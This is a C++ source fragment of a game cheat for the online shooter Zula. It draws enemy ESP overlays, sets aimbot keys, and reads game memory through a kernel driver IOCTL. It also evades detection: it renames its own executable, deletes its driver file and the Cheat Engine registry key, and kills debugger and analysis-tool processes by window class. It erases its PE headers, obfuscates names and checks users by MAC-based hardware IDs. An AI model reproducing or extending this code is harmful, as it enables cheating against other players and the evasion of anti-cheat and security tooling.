if (vis_check != 67109648 && vis_check2 != 67109648 && vis_check3 != 67109648)
{
DrawLine(vNeck.x, vNeck.y, vSpine2.x, vSpine2.y, &Col.DarkYellow, 1.5);
DrawLine(vSpine2.x, vSpine2.y, vSpine.x, vSpine.y, &Col.DarkYellow, 1.5);
DrawLine(vSpine.x, vSpine.y, vPelvis.x, vPelvis.y, &Col.DarkYellow, 1.5);
DrawLine(vNeck.x, vNeck.y, vR_UpArm.x, vR_UpArm.y, &Col.DarkYellow, 1.5);
DrawLine(vR_UpArm.x, vR_UpArm.y, vR_ForeArm.x, vR_ForeArm.y, &Col.DarkYellow, 1.5);
DrawLine(vR_ForeArm.x, vR_ForeArm.y, vR_Hand.x, vR_Hand.y, &Col.DarkYellow, 1.5);
DrawLine(vNeck.x, vNeck.y, vL_UpArm.x, vL_UpArm.y, &Col.DarkYellow, 1.5);
DrawLine(vL_UpArm.x, vL_UpArm.y, vL_ForeArm.x, vL_ForeArm.y, &Col.DarkYellow, 1.5);
DrawLine(vL_ForeArm.x, vL_ForeArm.y, vL_Hand.x, vL_Hand.y, &Col.DarkYellow, 1.5);
DrawLine(vPelvis.x, vPelvis.y, vR_Thigh.x, vR_Thigh.y, &Col.DarkYellow, 1.5);
DrawLine(vR_Thigh.x, vR_Thigh.y, vR_Calf.x, vR_Calf.y, &Col.DarkYellow, 1.5);
DrawLine(vR_Calf.x, vR_Calf.y, vR_Foot.x, vR_Foot.y, &Col.DarkYellow, 1.5);
DrawLine(vPelvis.x, vPelvis.y, vL_Thigh.x, vL_Thigh.y, &Col.DarkYellow, 1.5);
DrawLine(vL_Thigh.x, vL_Thigh.y, vL_Calf.x, vL_Calf.y, &Col.DarkYellow, 1.5);
DrawLine(vL_Calf.x, vL_Calf.y, vL_Foot.x, vL_Foot.y, &Col.DarkYellow, 1.5);
}
}*/
if (Moi.Esp.Box)
Box3D(RootPos, &Col.moi_red, 1.7);
if (Moi.Esp.Line)
DrawLine(ScreenCenterX, ScreenCenterY + ScreenCenterY, vFeet.x, vFeet.y + 20, &Col.moi_green, 1);
if (Moi.Esp.LookDirection)
EspLookDirection(pEntity, HeadPoz);
if (Moi.Esp.Distance)
DrawStrokeText(vFeet.x - (strlen(xdist) * 7 / 2), vFeet.y, &Col.moi_green, xdist);
if (Moi.Esp.Radar)
DrawRadar(LocalPos, RootPos, &Col.moi_red);
}
}
}
else
{
if (tSelect == 0)
{
if (ZulaTeam)
{
if (Moi.Esp.Box)
Box3D(RootPos, &Col.moi_red, 1.7);
if (Moi.Esp.Line)
DrawLine(ScreenCenterX, ScreenCenterY + ScreenCenterY, vFeet.x, vFeet.y + 20, &Col.moi_green, 1);
if (Moi.Esp.LookDirection)
EspLookDirection(pEntity, HeadPoz);
if (Moi.Esp.Distance)
DrawStrokeText(vFeet.x - (strlen(xdist) * 7 / 2), vFeet.y, &Col.moi_green, xdist);
if (Moi.Esp.Radar)
DrawRadar(LocalPos, RootPos, &Col.moi_red);
}
}
if (tSelect == 1)
{
if (GladioTeam)
{
if (Moi.Esp.Box)
Box3D(RootPos, &Col.moi_red, 1.7);
if (Moi.Esp.Line)
DrawLine(ScreenCenterX, ScreenCenterY + ScreenCenterY, vFeet.x, vFeet.y + 20, &Col.moi_green, 1);
if (Moi.Esp.LookDirection)
EspLookDirection(pEntity, HeadPoz);
if (Moi.Esp.Distance)
DrawStrokeText(vFeet.x - (strlen(xdist) * 7 / 2), vFeet.y, &Col.moi_green, xdist);
if (Moi.Esp.Radar)
DrawRadar(LocalPos, RootPos, &Col.moi_red);
}
}
}
}
}
}
}
//}
if (hAimKey == 0) AimbotKey = VK_LSHIFT;
if (hAimKey == 1) AimbotKey = VK_CAPITAL;
if (hAimKey == 2) AimbotKey = VK_LBUTTON;
if (hAimKey == 3) AimbotKey = VK_RBUTTON;
if (hAimKey == 4) AimbotKey = VK_LCONTROL;
if (hAimKey == 5) AimbotKey = LVKF_ALT;
if (hAimKey == 6) AimbotKey = 'X';
if (hAimKey == 7) AimbotKey = 'F';
if (hAimKey == 8) AimbotKey = 'T';
if (hAimKey == 9) AimbotKey = 'C';
if (hAimKey == 10) AimbotKey = 'G';
if (hAimKey == 11) AimbotKey = NULL;
if (Moi.xqweqwfac.ON)
{
//int die = readmem<int>(entityx + 0x24);
//if (die == 0)
asdfaewfacd();
}
}
}
DWORD f_pid(std::string processName)
{
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processesSnapshot == INVALID_HANDLE_VALUE)
return 0;
Process32First(processesSnapshot, &processInfo);
if (!processName.compare(processInfo.szExeFile))
{
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}
while (Process32Next(processesSnapshot, &processInfo))
{
if (!processName.compare(processInfo.szExeFile))
{
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}
}
memset((void*)&processName[0], 0x00, processName.size() * 2);
processName.clear();
CloseHandle(processesSnapshot);
return 0;
}
#define asdfsadvs GetWindowThreadProcessId
std::string RandomHWID(size_t length = 0)
{
static const std::string allowed_chars{ "0123456789abcdefghjklmnoprstuvqyzA" };
static thread_local std::default_random_engine randomEngine(std::random_device{}());
static thread_local std::uniform_int_distribution<int> randomDistribution(0, allowed_chars.size() - 1);
std::string id(length ? length : 32, '\0');
for (std::string::value_type& c : id) {
c = allowed_chars[randomDistribution(randomEngine)];
}
return id;
}
#define ar _m_u_t_a_t_i_o_n_()
#define arx ar
#define arxd arx
#define arxdd arxd
#define arxddd arxdd
#define arxdddd arxddd
#define arxddddd arxdddd
#define arxdddddd arxddddd
#define arxddddddd arxdddddd
#define arxdddddddd arxddddddd
DWORD p2 = NULL;
bool kaka = false;
bool active = true;
bool ahahahaha = true;
bool bkr = false;
bool check_game()
{
DWORD pidx = 0;
for (;;)
{
HWND fW = FindWindow(XorString("acknex_mainwin"), 0);
asdfsadvs(fW, &pidx);
if (pidx != 0)
{
Console::Success(XorString("Oyun bulundu! !"));
return true;
break;
}
else
{
if (!bkr) {
Console::Warning(XorString("Oyun bekleniyor."));
bkr = true;
}
}
}
}
void _g_p_i_d_()
{
bool adads = true;
std::wstring xw = std::wstring(L"nex");
while (p == 0)
{
if (adads)
{
Sleep(1000);
std::wstring yw = (std::wstring(L"ack") + xw + std::wstring(L"_main") + std::wstring(L"win"));
const wchar_t* ptr = yw.c_str();
asdfsadvs(FindWindowW((wchar_t*)ptr, 0), &p);
memset((void*)&ptr[0], 0x00, yw.size() * 2);
yw.clear();
}
Sleep(10);
}
//Console::Success(XorString("Pid: %X"), p);
adads = false;
}
void _m_u_t_a_t_i_o_n_()
{
J();
SetConsoleTitleA(RandomHWID(20).c_str());
J();
while (active)
{
if (ahahahaha)
{
if (!check_game())
continue;
J();
Console::Info(XorString("Lutfen bekleyin."));
Sleep(1000);
_g_p_i_d_();
ahahahaha = false;
}
else
{
J();
cqwevqwxe ciktiyapisi;
J();
ciktiyapisi.pid = p;
J();
unsigned long int okunan_bayt_miktari;
J();
if (!DIC(drv, CTL_CODE(FILE_DEVICE_UNKNOWN, 0x852, METHOD_BUFFERED, FILE_SPECIAL_ACCESS), &ciktiyapisi, sizeof ciktiyapisi, &ciktiyapisi, sizeof ciktiyapisi, &okunan_bayt_miktari, nullptr))
{
J();
exit(-1);
}
J();
base = (unsigned long long int)ciktiyapisi.data;
system(XorString("cls"));
J();
xqwerafcsdfaser();
}
Sleep(10);
}
active = false;
//while (!kaka)
//{
// Sleep(1000);
// //J()
// auto haha = FindWindow(XorString("acknex_mainwin"), 0);
// GetWindowThreadProcessId(haha, &p2);
// if (p2 != NULL)
// {
// p = p2;
// p2 = 0;
// kaka = true;
// }
//}
}
void TakeScreenShot(const std::string& path)
{
//setting to the screen shot
keybd_event(VK_SNAPSHOT, 0x45, KEYEVENTF_EXTENDEDKEY, 0);
keybd_event(VK_SNAPSHOT, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
//handler of the bitmap that save the screen shot
HBITMAP hBitmap;
//I have to give for it time to make it work
Sleep(100);
//take the screen shot
OpenClipboard(NULL);
//save the screen shot in the bitmap handler
hBitmap = (HBITMAP)GetClipboardData(CF_BITMAP);
//relese the screen shot
CloseClipboard();
std::vector<BYTE> buf;
IStream* stream = NULL;
HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &stream);
CImage image;
ULARGE_INTEGER liSize;
// screenshot to jpg and save to stream
image.Attach(hBitmap);
image.Save(stream, Gdiplus::ImageFormatJPEG);
IStream_Size(stream, &liSize);
DWORD len = liSize.LowPart;
IStream_Reset(stream);
buf.resize(len);
IStream_Read(stream, &buf[0], len);
stream->Release();
// put the imapge in the file
std::fstream fi;
fi.open(path, std::fstream::binary | std::fstream::out);
fi.write(reinterpret_cast<const char*>(&buf[0]), buf.size() * sizeof(BYTE));
fi.close();
}
#define mx int __stdcall main(int argc, char** argv)
#define x mx
#define q x
#define R q
#define p dc()
#define pi p
#define pic pi
const char* getMAC() {
PIP_ADAPTER_INFO AdapterInfo;
DWORD dwBufLen = sizeof(IP_ADAPTER_INFO);
char* mac_addr = (char*)malloc(18);
AdapterInfo = (IP_ADAPTER_INFO*)malloc(sizeof(IP_ADAPTER_INFO));
if (AdapterInfo == NULL) {
printf("Error allocating memory needed to call GetAdaptersinfo\n");
free(mac_addr);
return NULL; // it is safe to call free(NULL)
}
// Make an initial call to GetAdaptersInfo to get the necessary size into the dwBufLen variable
if (GetAdaptersInfo(AdapterInfo, &dwBufLen) == ERROR_BUFFER_OVERFLOW) {
free(AdapterInfo);
AdapterInfo = (IP_ADAPTER_INFO*)malloc(dwBufLen);
if (AdapterInfo == NULL) {
printf("Error allocating memory needed to call GetAdaptersinfo\n");
free(mac_addr);
return NULL;
}
}
if (GetAdaptersInfo(AdapterInfo, &dwBufLen) == NO_ERROR) {
// Contains pointer to current adapter info
PIP_ADAPTER_INFO pAdapterInfo = AdapterInfo;
// technically should look at pAdapterInfo->AddressLength
// and not assume it is 6.
sprintf(mac_addr, "%02X:%02X:%02X:%02X:%02X:%02X",
pAdapterInfo->Address[0], pAdapterInfo->Address[1],
pAdapterInfo->Address[2], pAdapterInfo->Address[3],
pAdapterInfo->Address[4], pAdapterInfo->Address[5]);
//printf("mac: %s\n", mac_addr);
// print them all, return the last one.
// return mac_addr;
//printf("\n");
//pAdapterInfo = pAdapterInfo->Next;
}
free(AdapterInfo);
return mac_addr; // caller must free.
}
R
{
char f[_MAX_PATH + 1];
GetModuleFileNameA(GetModuleHandle(0), f, _MAX_PATH);
J();
rename(f, std::string(RandomHWID(20) + ".exe").c_str());
J();
J();
remove(XorString("VSTXRAID.sys"));
RegistryDeleteKey(HKEY_CURRENT_USER, XorString("Software\\Cheat Engine"));
::EnumWindows(EnumWindowsProc, NULL);
if (pic) arxdddddddd;
}
// SARSILMAZ: b6KUENJXFZFTl84MDg2JkRFVl9BMzcwJlNVQlNZU18wMDM0ODA4Ng==LxQ5MDA6MDU6QTk6Mjc6RkY6OTY
// Zumba: b6KVlBOVkE=LxQ5MDQ6OTI6MjY6MTk6OUY6M0I===
// uzayl1: b6KUENJXFZFTl8xMEVDJkRFVl84MTM2JlJFVl8wNQ==LxQ5Mzg6NjA6Nzc6MTY6RjQ6Rjg===
// Lia?: b6KUENJXFZFTl8xMEVDJkRFVl84MTY4JlNVQlNZU183ODE3MTQ2MiZSRVZfMEM=LxQ5NEU6NTM6NTA6NEY6NEY6NDM===
// RZGR: b6KUENJXFZFTl8xMEVDJkRFVl84MTY4JlNVQlNZU184MTE3MTAxOSZSRVZfMTU=LxQ5RjQ6NEQ6MzA6QUM6M0Q6Q0I===
// Efecan: b6KUENJXFZFTl8xOTY5JkRFVl9FMEIxLxQ5NEM6Q0M6NkE6RTI6NkY6QkY===
// LegendMareS: b6KUENJXFZFTl8xOTY5JkRFVl8yMDYyJlNVQlNZU184MTUyMTAxOSZSRVZfQzE=LxQ5RUM6QTg6NkI6RDk6MzE6REY===
void DeleteHeaders(HINSTANCE hModule)
{
PIMAGE_DOS_HEADER pDoH;
PIMAGE_NT_HEADERS pNtH;
DWORD i, ersize, protect;
if (!hModule) return;
pDoH = (PIMAGE_DOS_HEADER)(hModule);
pNtH = (PIMAGE_NT_HEADERS)((LONG)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
ersize = sizeof(IMAGE_DOS_HEADER);
if (VirtualProtect(pDoH, ersize, PAGE_READWRITE, &protect))
for (i = 0; i < ersize; i++)
*(BYTE*)((BYTE*)pDoH + i) = 0;
ersize = sizeof(IMAGE_NT_HEADERS);
if (pNtH && VirtualProtect(pNtH, ersize, PAGE_READWRITE, &protect))
for (i = 0; i < ersize; i++)
*(BYTE*)((BYTE*)pNtH + i) = 0;
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
char class_name[80];
char title[80];
GetClassName(hwnd, class_name, sizeof(class_name));
GetWindowText(hwnd, title, sizeof(title));
if (strstr(class_name, XorString("WindowsForms10.Window")) ||
strstr(class_name, XorString("WindowsForms8")) ||
strstr(class_name, XorString("WindowsForms8.1")) ||
strstr(class_name, XorString("HintWindow")) ||
strstr(class_name, XorString("LCLListBox")) ||
//strstr(class_name, XorString("QEventDispatcher")) ||
//strstr(class_name, XorString("Qt5QWindowIcon")) ||
strstr(class_name, XorString("TFormMain.UnicodeClass")) ||
strstr(class_name, XorString("TFormDebugStrings")) ||
strstr(class_name, XorString("ProcessHacker")) ||
strstr(title, XorString("Sigma")) ||
strstr(class_name, XorString("Olly")) ||
strstr(class_name, XorString("TMainForm")))
{
DWORD pdclass = 0; DWORD pdwindow = 0;
HWND wind = FindWindow(NULL, title);
GetWindowThreadProcessId(wind, &pdwindow);
HWND clas = FindWindow(class_name, NULL);
GetWindowThreadProcessId(clas, &pdclass);
//cout << class_name << " - " << hex << pdclass << "|| window: " << hex << pdwindow << std::endl;
kill_by_pid((int)pdclass); kill_by_pid((int)pdwindow);
}
return TRUE;
}